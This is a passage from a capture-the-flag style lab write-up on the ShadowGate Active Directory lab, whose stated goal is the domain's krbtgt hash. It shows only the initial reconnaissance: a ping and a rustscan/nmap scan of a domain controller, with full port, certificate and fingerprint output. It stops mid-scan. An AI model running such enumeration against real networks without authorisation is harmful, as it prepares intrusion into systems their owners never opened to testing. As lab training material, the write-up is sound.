> For the complete documentation index, see [llms.txt](https://truck-2-tech-security.gitbook.io/writeups-and-labs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://truck-2-tech-security.gitbook.io/writeups-and-labs/security-research/hacksmarter-labs/shadowgate.md). # ShadowGate ## **Scope and Objective** ### **Objective** **ShadowGate** recently completed a corporate acquisition that significantly expanded its internal network, user base, and application footprint. Several business-critical systems were migrated and consolidated under tight operational deadlines to minimize downtime and maintain service continuity. While functional validation was completed, the organization deferred a comprehensive security assessment due to delivery pressure and staffing constraints. Leadership has since requested an independent penetration test to validate the security posture of the newly created environment and identify any material risk before the next audit cycle. The assessment will evaluate whether a motivated attacker with standard network access could compromise sensitive systems, escalate privileges, or move laterally within the enterprise environment. The Hack Smarter team has been authorized to perform a black box internal penetration test against the ShadowGate environment. #### **Initial Access** The client has provided you with VPN access to their internal network, but no credentials. {% hint style="info" %} The main objective is to obtain the krb5tgt hash as the answer. {% endhint %} ## Rustscan Given the following up front without having to scan? ```bash 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-01-15 13:41:20Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name) 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name) 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name) 3389/tcp open ms-wbt-server Microsoft Terminal Services 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp open mc-nmf .NET Message Framing ``` I trust them as far as I can physically throw them. Running my own scan. {% code expandable="true" %} ```bash ┌──(kali㉿kali 05/22/2026 06:44:06 PM)-[~] └─$ ping 10.0.23.96 PING 10.0.23.96 (10.0.23.96) 56(84) bytes of data. 64 bytes from 10.0.23.96: icmp_seq=1 ttl=126 time=37.2 ms 64 bytes from 10.0.23.96: icmp_seq=2 ttl=126 time=40.6 ms ^C --- 10.0.23.96 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1003ms rtt min/avg/max/mdev = 37.175/38.887/40.599/1.712 ms ┌──(kali㉿kali 05/22/2026 06:44:14 PM)-[~] └─$ rustscan -a 10.0.23.96 -- -A .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \\ | `| | | .-. \\| {_} |.-._} } | | .-._} }\\ }/ /\\ \\| |\\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : : : : -------------------------------------- TreadStone was here 🚀 [~] The config file is expected to be at "/home/kali/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 10.0.23.96:53 Open 10.0.23.96:88 Open 10.0.23.96:80 Open 10.0.23.96:135 Open 10.0.23.96:139 Open 10.0.23.96:389 Open 10.0.23.96:445 Open 10.0.23.96:464 Open 10.0.23.96:593 Open 10.0.23.96:636 Open 10.0.23.96:3268 O PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack ttl 126 Simple DNS Plus 80/tcp open http syn-ack ttl 126 Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-title: IIS Windows Server 88/tcp open kerberos-sec syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-05-22 22:47:42Z) 135/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 126 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=DC01.shadow.gate | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.shadow.gate | Issuer: commonName=shadow-DC01-CA/domainComponent=shadow | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2026-01-15T01:10:24 | Not valid after: 2027-01-15T01:10:24 | MD5: 5d22 4c5c 3d19 1ae9 d19a 2cf8 345d 14f6 | SHA-1: 2db8 b2b4 3549 bb0d 519f 1e00 845d 0531 b9fe 3390 | SHA-256: e948 65d7 b039 fa26 3f30 bc23 e7b0 f0b7 6a9d 53a8 4c51 06cf 019e 3d37 353b 2e90 | -----BEGIN CERTIFICATE----- | MIIGLDCCBRSgAwIBAgITIAAAAALNftOUa+rjsQAAAAAAAjANBgkqhkiG9w0BAQsF | ADBHMRQwEgYKCZImiZPyLGQBGRYEZ2F0ZTEWMBQGCgmSJomT8ixkARkWBnNoYWRv | dzEXMBUGA1UEAxMOc2hhZG93LURDMDEtQ0EwHhcNMjYwMTE1MDExMDI0WhcNMjcw | MTE1MDExMDI0WjAbMRkwFwYDVQQDExBEQzAxLnNoYWRvdy5nYXRlMIIBIjANBgkq | hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA13B8CclDqxx150amu6yGexpuN84itlRx | OLPOipgyge8eTpq0Arf6q5xcT+Z7Uu88MlA3bqO/ItojOdqsIzNu5/fMua/XehGf | 5rQt+8mBMB2xXvAHsWL7VqNn/um5l3E/Y2Pr+Jymz2WuTG9vX6Rl+A3YVHKtah66 | HYFehKPTYqkPNf2X3Vibqpt5cevDVyRwx2/0UOur/Ei3bKWWpQoj+daS4+iOJw2m | wWWuX8BqVpDmabSkGtVW512yf/MjImn7B+k3jLsy+7VzOIcZUTONoGDisej8K6/M | OL/gNpYog3vzChxkrQKmYKmhfg2C6bzrdtwN2jYJNePm7D0WAqHi5QIDAQABo4ID | OzCCAzcwLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBs | AGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNVHQ8BAf8E | BAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcN | AwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUDBAECMAsG | CWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNVHQ4EFgQUDWth45jC | PdpV2HnIB82YlBRUlHkwHwYDVR0jBBgwFoAUpde9tYfagDbkVkZnCfG8ZyT26kQw | gckGA1UdHwSBwTCBvjCBu6CBuKCBtYaBsmxkYXA6Ly8vQ049c2hhZG93LURDMDEt | Q0EsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049 | U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1zaGFkb3csREM9Z2F0ZT9jZXJ0 | aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJp | YnV0aW9uUG9pbnQwgcAGCCsGAQUFBwEBBIGzMIGwMIGtBggrBgEFBQcwAoaBoGxk | YXA6Ly8vQ049c2hhZG93LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUy | MFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2hhZG93 | LERDPWdhdGU/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj | YXRpb25BdXRob3JpdHkwPAYDVR0RBDUwM6AfBgkrBgEEAYI3GQGgEgQQBnKp+R8U | /UyxrdaFzkq7O4IQREMwMS5zaGFkb3cuZ2F0ZTBOBgkrBgEEAYI3GQIEQTA/oD0G | CisGAQQBgjcZAgGgLwQtUy0xLTUtMjEtMjQzNDkzOTMwLTExMTM0NjQ3MDUtMzAx | Mjc3MTU4Ni0xMDAwMA0GCSqGSIb3DQEBCwUAA4IBAQClHfokg9kQzxNj3VWsJ93S | xr8m8cBGoug6iph+zatwNAYpw63dEMH5QzVs1ZSHLMu8MNiTIJzKQubKeiSRcUND | Fgrk70B88l8fTLXn+sN2GCmZyokpe7jxPoQNiXuL/3hRMRHSey2eXGUSVy19+beo | D1zh4yBxMukClNMXtf7mb0c8hCEW9kV7kwi36Kz+e1kwypfq9K7ftue8efTajlrC | Ar/4RnwhpdeFPSfbwmxxefBEO5fchjx1TyabLkPhe337OzfHAqDfkwtDIIWR/mw4 | yVMj4J+ZfDZbkDXRP2fanJGo9LkuVnlACnH8qgrnyZh/bHrTPX7TbDjHYG8LMyI6 |_-----END CERTIFICATE----- 445/tcp open microsoft-ds? syn-ack ttl 126 464/tcp open kpasswd5? syn-ack ttl 126 593/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.shadow.gate | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.shadow.gate | Issuer: commonName=shadow-DC01-CA/domainComponent=shadow | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2026-01-15T01:10:24 | Not valid after: 2027-01-15T01:10:24 | MD5: 5d22 4c5c 3d19 1ae9 d19a 2cf8 345d 14f6 | SHA-1: 2db8 b2b4 3549 bb0d 519f 1e00 845d 0531 b9fe 3390 | SHA-256: e948 65d7 b039 fa26 3f30 bc23 e7b0 f0b7 6a9d 53a8 4c51 06cf 019e 3d37 353b 2e90 | -----BEGIN CERTIFICATE----- | MIIGLDCCBRSgAwIBAgITIAAAAALNftOUa+rjsQAAAAAAAjANBgkqhkiG9w0BAQsF | ADBHMRQwEgYKCZImiZPyLGQBGRYEZ2F0ZTEWMBQGCgmSJomT8ixkARkWBnNoYWRv | dzEXMBUGA1UEAxMOc2hhZG93LURDMDEtQ0EwHhcNMjYwMTE1MDExMDI0WhcNMjcw | MTE1MDExMDI0WjAbMRkwFwYDVQQDExBEQzAxLnNoYWRvdy5nYXRlMIIBIjANBgkq | hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA13B8CclDqxx150amu6yGexpuN84itlRx | OLPOipgyge8eTpq0Arf6q5xcT+Z7Uu88MlA3bqO/ItojOdqsIzNu5/fMua/XehGf | 5rQt+8mBMB2xXvAHsWL7VqNn/um5l3E/Y2Pr+Jymz2WuTG9vX6Rl+A3YVHKtah66 | HYFehKPTYqkPNf2X3Vibqpt5cevDVyRwx2/0UOur/Ei3bKWWpQoj+daS4+iOJw2m | wWWuX8BqVpDmabSkGtVW512yf/MjImn7B+k3jLsy+7VzOIcZUTONoGDisej8K6/M | OL/gNpYog3vzChxkrQKmYKmhfg2C6bzrdtwN2jYJNePm7D0WAqHi5QIDAQABo4ID | OzCCAzcwLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBs | AGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNVHQ8BAf8E | BAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcN | AwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUDBAECMAsG | CWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNVHQ4EFgQUDWth45jC | PdpV2HnIB82YlBRUlHkwHwYDVR0jBBgwFoAUpde9tYfagDbkVkZnCfG8ZyT26kQw | gckGA1UdHwSBwTCBvjCBu6CBuKCBtYaBsmxkYXA6Ly8vQ049c2hhZG93LURDMDEt | Q0EsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049 | U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1zaGFkb3csREM9Z2F0ZT9jZXJ0 | aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJp | YnV0aW9uUG9pbnQwgcAGCCsGAQUFBwEBBIGzMIGwMIGtBggrBgEFBQcwAoaBoGxk | YXA6Ly8vQ049c2hhZG93LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUy | MFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2hhZG93 | LERDPWdhdGU/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj | YXRpb25BdXRob3JpdHkwPAYDVR0RBDUwM6AfBgkrBgEEAYI3GQGgEgQQBnKp+R8U | /UyxrdaFzkq7O4IQREMwMS5zaGFkb3cuZ2F0ZTBOBgkrBgEEAYI3GQIEQTA/oD0G | CisGAQQBgjcZAgGgLwQtUy0xLTUtMjEtMjQzNDkzOTMwLTExMTM0NjQ3MDUtMzAx | Mjc3MTU4Ni0xMDAwMA0GCSqGSIb3DQEBCwUAA4IBAQClHfokg9kQzxNj3VWsJ93S | xr8m8cBGoug6iph+zatwNAYpw63dEMH5QzVs1ZSHLMu8MNiTIJzKQubKeiSRcUND | Fgrk70B88l8fTLXn+sN2GCmZyokpe7jxPoQNiXuL/3hRMRHSey2eXGUSVy19+beo | D1zh4yBxMukClNMXtf7mb0c8hCEW9kV7kwi36Kz+e1kwypfq9K7ftue8efTajlrC | Ar/4RnwhpdeFPSfbwmxxefBEO5fchjx1TyabLkPhe337OzfHAqDfkwtDIIWR/mw4 | yVMj4J+ZfDZbkDXRP2fanJGo9LkuVnlACnH8qgrnyZh/bHrTPX7TbDjHYG8LMyI6 |_-----END CERTIFICATE----- |_ssl-date: TLS randomness does not represent time 3268/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=DC01.shadow.gate | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.shadow.gate | Issuer: commonName=shadow-DC01-CA/domainComponent=shadow | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2026-01-15T01:10:24 | Not valid after: 2027-01-15T01:10:24 | MD5: 5d22 4c5c 3d19 1ae9 d19a 2cf8 345d 14f6 | SHA-1: 2db8 b2b4 3549 bb0d 519f 1e00 845d 0531 b9fe 3390 | SHA-256: e948 65d7 b039 fa26 3f30 bc23 e7b0 f0b7 6a9d 53a8 4c51 06cf 019e 3d37 353b 2e90 | -----BEGIN CERTIFICATE----- | MIIGLDCCBRSgAwIBAgITIAAAAALNftOUa+rjsQAAAAAAAjANBgkqhkiG9w0BAQsF | ADBHMRQwEgYKCZImiZPyLGQBGRYEZ2F0ZTEWMBQGCgmSJomT8ixkARkWBnNoYWRv | dzEXMBUGA1UEAxMOc2hhZG93LURDMDEtQ0EwHhcNMjYwMTE1MDExMDI0WhcNMjcw | MTE1MDExMDI0WjAbMRkwFwYDVQQDExBEQzAxLnNoYWRvdy5nYXRlMIIBIjANBgkq | hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA13B8CclDqxx150amu6yGexpuN84itlRx | OLPOipgyge8eTpq0Arf6q5xcT+Z7Uu88MlA3bqO/ItojOdqsIzNu5/fMua/XehGf | 5rQt+8mBMB2xXvAHsWL7VqNn/um5l3E/Y2Pr+Jymz2WuTG9vX6Rl+A3YVHKtah66 | HYFehKPTYqkPNf2X3Vibqpt5cevDVyRwx2/0UOur/Ei3bKWWpQoj+daS4+iOJw2m | wWWuX8BqVpDmabSkGtVW512yf/MjImn7B+k3jLsy+7VzOIcZUTONoGDisej8K6/M | OL/gNpYog3vzChxkrQKmYKmhfg2C6bzrdtwN2jYJNePm7D0WAqHi5QIDAQABo4ID | OzCCAzcwLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBs | AGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNVHQ8BAf8E | BAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcN | AwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUDBAECMAsG | CWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNVHQ4EFgQUDWth45jC | PdpV2HnIB82YlBRUlHkwHwYDVR0jBBgwFoAUpde9tYfagDbkVkZnCfG8ZyT26kQw | gckGA1UdHwSBwTCBvjCBu6CBuKCBtYaBsmxkYXA6Ly8vQ049c2hhZG93LURDMDEt | Q0EsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049 | U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1zaGFkb3csREM9Z2F0ZT9jZXJ0 | aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJp | YnV0aW9uUG9pbnQwgcAGCCsGAQUFBwEBBIGzMIGwMIGtBggrBgEFBQcwAoaBoGxk | YXA6Ly8vQ049c2hhZG93LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUy | MFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2hhZG93 | LERDPWdhdGU/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj | YXRpb25BdXRob3JpdHkwPAYDVR0RBDUwM6AfBgkrBgEEAYI3GQGgEgQQBnKp+R8U | /UyxrdaFzkq7O4IQREMwMS5zaGFkb3cuZ2F0ZTBOBgkrBgEEAYI3GQIEQTA/oD0G | CisGAQQBgjcZAgGgLwQtUy0xLTUtMjEtMjQzNDkzOTMwLTExMTM0NjQ3MDUtMzAx | Mjc3MTU4Ni0xMDAwMA0GCSqGSIb3DQEBCwUAA4IBAQClHfokg9kQzxNj3VWsJ93S | xr8m8cBGoug6iph+zatwNAYpw63dEMH5QzVs1ZSHLMu8MNiTIJzKQubKeiSRcUND | Fgrk70B88l8fTLXn+sN2GCmZyokpe7jxPoQNiXuL/3hRMRHSey2eXGUSVy19+beo | D1zh4yBxMukClNMXtf7mb0c8hCEW9kV7kwi36Kz+e1kwypfq9K7ftue8efTajlrC | Ar/4RnwhpdeFPSfbwmxxefBEO5fchjx1TyabLkPhe337OzfHAqDfkwtDIIWR/mw4 | yVMj4J+ZfDZbkDXRP2fanJGo9LkuVnlACnH8qgrnyZh/bHrTPX7TbDjHYG8LMyI6 |_-----END CERTIFICATE----- 3269/tcp open ssl/ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=DC01.shadow.gate | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.shadow.gate | Issuer: commonName=shadow-DC01-CA/domainComponent=shadow | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2026-01-15T01:10:24 | Not valid after: 2027-01-15T01:10:24 | MD5: 5d22 4c5c 3d19 1ae9 d19a 2cf8 345d 14f6 | SHA-1: 2db8 b2b4 3549 bb0d 519f 1e00 845d 0531 b9fe 3390 | SHA-256: e948 65d7 b039 fa26 3f30 bc23 e7b0 f0b7 6a9d 53a8 4c51 06cf 019e 3d37 353b 2e90 | -----BEGIN CERTIFICATE----- | MIIGLDCCBRSgAwIBAgITIAAAAALNftOUa+rjsQAAAAAAAjANBgkqhkiG9w0BAQsF | ADBHMRQwEgYKCZImiZPyLGQBGRYEZ2F0ZTEWMBQGCgmSJomT8ixkARkWBnNoYWRv | dzEXMBUGA1UEAxMOc2hhZG93LURDMDEtQ0EwHhcNMjYwMTE1MDExMDI0WhcNMjcw | MTE1MDExMDI0WjAbMRkwFwYDVQQDExBEQzAxLnNoYWRvdy5nYXRlMIIBIjANBgkq | hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA13B8CclDqxx150amu6yGexpuN84itlRx | OLPOipgyge8eTpq0Arf6q5xcT+Z7Uu88MlA3bqO/ItojOdqsIzNu5/fMua/XehGf | 5rQt+8mBMB2xXvAHsWL7VqNn/um5l3E/Y2Pr+Jymz2WuTG9vX6Rl+A3YVHKtah66 | HYFehKPTYqkPNf2X3Vibqpt5cevDVyRwx2/0UOur/Ei3bKWWpQoj+daS4+iOJw2m | wWWuX8BqVpDmabSkGtVW512yf/MjImn7B+k3jLsy+7VzOIcZUTONoGDisej8K6/M | OL/gNpYog3vzChxkrQKmYKmhfg2C6bzrdtwN2jYJNePm7D0WAqHi5QIDAQABo4ID | OzCCAzcwLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBs | AGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNVHQ8BAf8E | BAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcN | AwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUDBAECMAsG | CWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNVHQ4EFgQUDWth45jC | PdpV2HnIB82YlBRUlHkwHwYDVR0jBBgwFoAUpde9tYfagDbkVkZnCfG8ZyT26kQw | gckGA1UdHwSBwTCBvjCBu6CBuKCBtYaBsmxkYXA6Ly8vQ049c2hhZG93LURDMDEt | Q0EsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049 | U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1zaGFkb3csREM9Z2F0ZT9jZXJ0 | aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJp | YnV0aW9uUG9pbnQwgcAGCCsGAQUFBwEBBIGzMIGwMIGtBggrBgEFBQcwAoaBoGxk | YXA6Ly8vQ049c2hhZG93LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUy | MFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2hhZG93 | LERDPWdhdGU/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj | YXRpb25BdXRob3JpdHkwPAYDVR0RBDUwM6AfBgkrBgEEAYI3GQGgEgQQBnKp+R8U | /UyxrdaFzkq7O4IQREMwMS5zaGFkb3cuZ2F0ZTBOBgkrBgEEAYI3GQIEQTA/oD0G | CisGAQQBgjcZAgGgLwQtUy0xLTUtMjEtMjQzNDkzOTMwLTExMTM0NjQ3MDUtMzAx | Mjc3MTU4Ni0xMDAwMA0GCSqGSIb3DQEBCwUAA4IBAQClHfokg9kQzxNj3VWsJ93S | xr8m8cBGoug6iph+zatwNAYpw63dEMH5QzVs1ZSHLMu8MNiTIJzKQubKeiSRcUND | Fgrk70B88l8fTLXn+sN2GCmZyokpe7jxPoQNiXuL/3hRMRHSey2eXGUSVy19+beo | D1zh4yBxMukClNMXtf7mb0c8hCEW9kV7kwi36Kz+e1kwypfq9K7ftue8efTajlrC | Ar/4RnwhpdeFPSfbwmxxefBEO5fchjx1TyabLkPhe337OzfHAqDfkwtDIIWR/mw4 | yVMj4J+ZfDZbkDXRP2fanJGo9LkuVnlACnH8qgrnyZh/bHrTPX7TbDjHYG8LMyI6 |_-----END CERTIFICATE----- 3389/tcp open ms-wbt-server syn-ack ttl 126 Microsoft Terminal Services | ssl-cert: Subject: commonName=DC01.shadow.gate | Issuer: commonName=DC01.shadow.gate | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2026-01-11T02:45:29 | Not valid after: 2026-07-13T02:45:29 | MD5: c1b8 8999 75c0 ed7e bb91 6b09 ab01 b60c | SHA-1: b669 c177 f94f 3235 9df5 7bcc 3e1a 3acd 7a59 809b | SHA-256: 0d89 f9d3 5021 e499 1767 0739 2a8a 55b6 fc3d ab85 e90e 3766 7194 eaa0 2edd 8e2e | -----BEGIN CERTIFICATE----- | MIIC5DCCAcygAwIBAgIQaGMHO22nXplKp6kYboKnRTANBgkqhkiG9w0BAQsFADAb | MRkwFwYDVQQDExBEQzAxLnNoYWRvdy5nYXRlMB4XDTI2MDExMTAyNDUyOVoXDTI2 | MDcxMzAyNDUyOVowGzEZMBcGA1UEAxMQREMwMS5zaGFkb3cuZ2F0ZTCCASIwDQYJ | KoZIhvcNAQEBBQADggEPADCCAQoCggEBAJplD3GgkllDV2cEhoRSjZ/hc6SxoPSi | x0Irqo6WvbawJtq9gezcXHTTTa/tTSVCTXOhKgdlfleA3cQDY/CCiTFO35TrAw2r | rJCdRMnU2PN93QzyxswIgq9B0VWxahZvEiDW7g88K/4gQGApTq8LhgIa+Bq5fWvf | 5kCaiVRBoaH9y86nR0gZCGXyiV//kLg4lLNWaNjbc9EshjVmC2a2mPfD4eGlO/Kf | k2JVBVo58V6CmQyKUZ4xa2V55BstNy1BcTruamPDtvfc4t8iIXSU4Bgw/eGVaSrp | eaZ7liais6kiKOUQW28/Alyj5IjJlC+FoX042gHyhPwK+Emxx51HQCECAwEAAaMk | MCIwEwYDVR0lBAwwCgYIKwYBBQUHAwEwCwYDVR0PBAQDAgQwMA0GCSqGSIb3DQEB | CwUAA4IBAQCSzZLSdQdyDKfmYED/AgHl4APvEyKUGE6MdkGWzEDHu626zsAnsG1o | 4b5zIwMcK/tI2ihbGWzE6DsYxhyDoxAVy7O97PvC/ofuxn4NVQdNcg9naAKSZrSc | Mz/UV9G+63iQNIPltAL5dsPQzideDN/k1dci7Jp+BH0anZ1kohO6w1PAgoMoxUrT | 99veTHziBF1PjRshcphcfDategQOL8Ondn+BwbXfSdpGu+DLLy9LeKrOu8Ve7PB+ | x1L2wfiNMflj6ur3vS8TExb4pzZrqR0K11twkscMiHYQR4HuDGzH0vN9wP8PFOjW | DR+QPslaqhxnw4KZk0pOuX4UljUY973z |_-----END CERTIFICATE----- |_ssl-date: 2026-05-22T22:49:24+00:00; -1s from scanner time. | rdp-ntlm-info: | Target_Name: SHADOW | NetBIOS_Domain_Name: SHADOW | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: shadow.gate | DNS_Computer_Name: DC01.shadow.gate | DNS_Tree_Name: shadow.gate | Product_Version: 10.0.20348 |_ System_Time: 2026-05-22T22:48:44+00:00 5985/tcp open http syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf syn-ack ttl 126 .NET Message Framing 49664/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 49667/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 49668/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 49885/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0 49887/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 49899/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 49913/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 49931/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 53355/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port OS fingerprint not ideal because: Missing a closed TCP port so results incomplete No OS matches for host TCP/IP fingerprint: SCAN(V=7.99%E=4%D=5/22%OT=53%CT=%CU=%PV=Y%DS=3%DC=T%G=N%TM=6A10DD77%P=x86_64-pc-linux-gnu) SEQ(SP=104%GCD=1%ISR=108%TI=I%TS=A) SEQ(SP=107%GCD=1%ISR=10B%TI=I%TS=A) OPS(O1=M510NW8ST11%O2=M510NW8ST11%O3=M510NW8NNT11%O4=M510NW8ST11%O5=M510NW8ST11%O6=M510ST11) WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFDC) ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M510NW8NNS%CC=Y%Q=) T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=) T2(R=N) T3(R=N) T4(R=N) U1(R=N) IE(R=N) Uptime guess: 0.005 days (since Fri May 22 18:41:50 2026) Network Distance: 3 hops TCP Sequence Prediction: Difficulty=260 (Good luck!) IP ID Sequence Generation: Incremental Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2026-05-22T22:48:49 |_ start_date: N/A | p2p-conficker: | Checking for Conficker.C or higher... | Check 1 (port 45091/tcp): CLEAN (Timeout) | Check 2 (port 62564/tcp): CLEAN (Timeout) | Check 3 (port 16607/udp): CLEAN (Timeout) | Check 4 (port 13974/udp): CLEAN 